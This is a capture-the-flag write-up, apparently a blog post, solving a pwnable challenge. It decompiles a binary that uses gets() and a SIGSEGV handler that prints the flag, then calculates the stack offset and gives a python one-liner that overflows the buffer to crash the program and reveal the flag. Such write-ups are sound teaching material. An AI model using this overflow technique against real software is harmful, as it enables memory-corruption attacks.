[tctt2022] pwnable 02

For part 1:

[tctt2022] pwnable 01

The binary for this challenge will ask the user to just write something and reflect it back:

./challenge              
write something
AAAA
AAAA

Let’s decompile the binary:

undefined8 main(void)
{
  sigaction local_20a8 [53];
  sigaction local_a8;
  
  memset(&local_a8,0,0x98);
  sigemptyset(&local_a8.sa_mask);
  local_a8.__sigaction_handler = segfault_sigaction;
  local_a8.sa_flags = 4;
  sigaction(0xb,&local_a8,local_20a8);
  puts("write something");
  gets((char *)local_20a8);
  puts((char *)local_20a8);
  b = local_20a8;
  return 0;
}

There are some unfamiliar function, the segfault_sigaction . Let’s examine the code:

void segfault_sigaction(void)
{
  printf("%s%s%s%s%s",b,b,b,b,b);
  printf("%s","tctt2022{REDACTED}");
  printf("%s%s%s%s%s",b,b,b,b,b);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

So, the function segfault_sigaction will read out the flag but how can we invoke it?
Let’s see what sigaction() is:
https://man7.org/linux/man-pages/man2/sigaction.2.html

int sigaction(int signum, const struct sigaction *restrict act,
                     struct sigaction *restrict oldact);

The sigaction() function is used to change the action taken by a process on receipt of a specific signal. (See signal(7) for an overview of signals.)
Our signum is 0xb or 11 :

Signal        x86/ARM
SIGSEGV         11

To summarize, the program change how SIGSEGV is normally being handled by making it calls segfault_sigaction instead.
To read the flag, we need to invoke SIGSEGV which can be done by causing a memory violation of some sort. The easiest one being the buffer overflow which will make the program returns to invalid address.

Get Fnnnr’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Let’s look at the disassembly:

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000001254 <+0>:     push   rbp
   0x0000000000001255 <+1>:     mov    rbp,rsp
   0x0000000000001258 <+4>:     sub    rsp,0x20a0
   0x000000000000125f <+11>:    lea    rax,[rbp-0xa0]
   0x0000000000001266 <+18>:    mov    edx,0x98
   0x000000000000126b <+23>:    mov    esi,0x0
   0x0000000000001270 <+28>:    mov    rdi,rax
   0x0000000000001273 <+31>:    call   0x1060 <memset@plt>
   0x0000000000001278 <+36>:    lea    rax,[rbp-0xa0]
   0x000000000000127f <+43>:    add    rax,0x8
   0x0000000000001283 <+47>:    mov    rdi,rax
   0x0000000000001286 <+50>:    call   0x1070 <sigemptyset@plt>
   0x000000000000128b <+55>:    lea    rax,[rip+0xffffffffffffff07]        # 0x1199 <segfault_sigaction>
   0x0000000000001292 <+62>:    mov    QWORD PTR [rbp-0xa0],rax
   0x0000000000001299 <+69>:    mov    DWORD PTR [rbp-0x18],0x4
   0x00000000000012a0 <+76>:    lea    rdx,[rbp-0x20a0]
   0x00000000000012a7 <+83>:    lea    rax,[rbp-0xa0]
   0x00000000000012ae <+90>:    mov    rsi,rax
   0x00000000000012b1 <+93>:    mov    edi,0xb
   0x00000000000012b6 <+98>:    call   0x1040 <sigaction@plt>
   0x00000000000012bb <+103>:   lea    rax,[rip+0xd63]        # 0x2025
   0x00000000000012c2 <+110>:   mov    rdi,rax
   0x00000000000012c5 <+113>:   call   0x1030 <puts@plt>
   0x00000000000012ca <+118>:   lea    rax,[rbp-0x20a0]
   0x00000000000012d1 <+125>:   mov    rdi,rax
   0x00000000000012d4 <+128>:   mov    eax,0x0
   0x00000000000012d9 <+133>:   call   0x1080 <gets@plt>
   0x00000000000012de <+138>:   lea    rax,[rbp-0x20a0]
   0x00000000000012e5 <+145>:   mov    rdi,rax
   0x00000000000012e8 <+148>:   call   0x1030 <puts@plt>
   0x00000000000012ed <+153>:   lea    rax,[rbp-0x20a0]
   0x00000000000012f4 <+160>:   mov    QWORD PTR [rip+0x2d55],rax        # 0x4050 <b>
   0x00000000000012fb <+167>:   mov    eax,0x0
   0x0000000000001300 <+172>:   leave
   0x0000000000001301 <+173>:   ret
End of assembler dump.

The part we need is the one it is reading from the user at main+118. It stores our input at rbp-0x20a0 or 8352 bytes away from the rbp. To overwrite rip, we need 8 more bytes. So, it is 8360 bytes in total.
Let’s create a quick exploit.txt:

python -c 'print("A"*(8352)+"BBBBBBBB")' > exploit.txt

Then, run the program and find the tctt2022{REDACTED}:

./challenge < exploit.txt
[...]
AAAAA���|�tctt2022{REDACTED}AAAAA
[...]

We got the flag!